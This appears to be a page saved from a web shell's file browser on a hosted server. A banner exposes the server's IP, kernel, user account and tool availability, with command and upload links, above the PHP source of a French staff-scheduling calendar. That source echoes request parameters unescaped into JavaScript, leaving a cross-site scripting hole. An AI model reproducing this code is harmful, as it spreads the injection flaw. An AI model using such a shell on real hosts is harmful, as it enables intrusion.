|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo date('Ymd');
// $salarie_id = 2543;
if(isset($_GET['salarie_id']))
$salarie_id = $_GET['salarie_id'];
if(isset($_POST['salarie_id']))
$salarie_id = $_POST['salarie_id'];
if(isset($_GET['date']))
{
$year = $month = $day = 0;
list($year ,$month, $day) = explode("-", $_GET['date']);
if( $year >= 1900 and $year <= (date('Y')+1) and $month >=1 and $month <=12 )
$datecal = "$year-$month-01";
else
$datecal = date('Y-m-01');
}
else
$datecal = date('Y-m-01');
$annee = $year = date('Y');
$mois = $month = date('m');
$months = array(
1 => 'Janvier',
2 => 'Février',
3 => 'Mars',
4 => 'Avril',
5 => 'Mai',
6 => 'Juin',
7 => 'Juillet',
8 => 'Août',
9=> 'Septembre',
10=> 'Octobre',
11 => 'Novembre',
12 => 'Décembre'
);
if(isset($_POST['mois']) && isset($_POST['annee'])){
$datecal = $_POST['annee'].'-'.$_POST['mois'].'-01';
$annee = $_POST['annee'];
$mois = $_POST['mois'];
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>LogMCPRO | Prestations</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<div id="calendar"></div>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<!-- Select2 -->
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- fullCalendar 2.2.5 -->
<script src="../plugins/moment/moment.min.js"></script>
<script src="../plugins/fullcalendar/main.min.js"></script>
<script src="../plugins/fullcalendar-daygrid/main.min.js"></script>
<script src="../plugins/fullcalendar-timegrid/main.min.js"></script>
<script src="../plugins/fullcalendar-interaction/main.min.js"></script>
<script src="../plugins/fullcalendar-bootstrap/main.min.js"></script>
<script src='../plugins/fullcalendar/locales/fr.js'></script>
<!-- Page specific script -->
<script>
$(document).ready(function() {
var datecal = "<?php echo $datecal; ?>";
var salarie_id = "<?php echo $salarie_id; ?>";
let calendarEl = document.getElementById('calendar');
let calendar = new FullCalendar.Calendar(calendarEl, {
locale: 'fr',
plugins: [ 'bootstrap', 'interaction', 'dayGrid', 'timeGrid' ],
firstDay: 1,
defaultDate: datecal,
showNonCurrentDates: false,
fixedWeekCount: false,
header : {
left : '',
center: 'title',
right : 'dayGridMonth,timeGridWeek,timeGridDay'
},
businessHours: {
daysOfWeek: [ 0,1, 2, 3, 4,5,6 ], // Monday - Thursday
startTime: '06:00', // a start time (10am in this example)
endTime: '19:00', // an end time (6pm in this example)
},
events: 'splanning2.php?date='+datecal+'&salarie_id='+salarie_id,
selectable:true,
selectHelper:true,
editable:false,
eventClick: function(info) {
var idpr = info.event.id;
var datepr = info.event.start.toLocaleDateString();
//
datepr = datepr.substr(6, 4)+ '' +datepr.substr(3, 2)+ '' +datepr.substr(0, 2);
// alert(datepr);
$.ajax({
type : 'post',
url : 'Prestation_Upt_Date.php', //Here you will fetch records
data : 'idp='+idpr+'&date='+datepr, //Pass $id
success : function(data){
$('#jalil').html(data);//Show fetched data from database
jQuery("#PrestUpt").modal('show');
}
});
}
});
calendar.setOption('locale', 'fr');
calendar.render();
$('.fc-prev-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
// var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
// window.location.href = "calendar2.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('.fc-today-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
// var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
// window.location.href = "calendar2.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('.fc-next-button').click(function(){
var date = calendar.getDate().toLocaleDateString();
var date1 = date.substr(6, 4)+ date.substr(3, 2);
var date2 = datecal.substr(0, 4)+ datecal.substr(5, 2);
if(date1 != date2)
{
// var datec = date.substr(6, 4)+ '-' +date.substr(3, 2)+ '-' +date.substr(0, 2);
// window.location.href = "calendar2.php?date="+datec+'&salarie_id='+salarie_id;
}
});
$('#salarie_id').on('change',function(){
$('form').submit();
});
$('#annee').on('change',function(){
$('form').submit();
});
$('#mois').on('change',function(){
$('form').submit();
});
});
(function($) {
Drupal.fullcalendar.plugins.fullcalendar_fix = {
options: function (fullcalendar, settings) {
return {
eventRender: function(event, element, view) {
element.find('span.fc-event-title').html(element.find('span.fc-event-title').text());
}
};
}
};
}(jQuery));
</script>
<script>
$(function () {
$('.select2').select2()
$('.select2bs4').select2({
theme: 'bootstrap4'
})
})
</script>
</body>
</html>
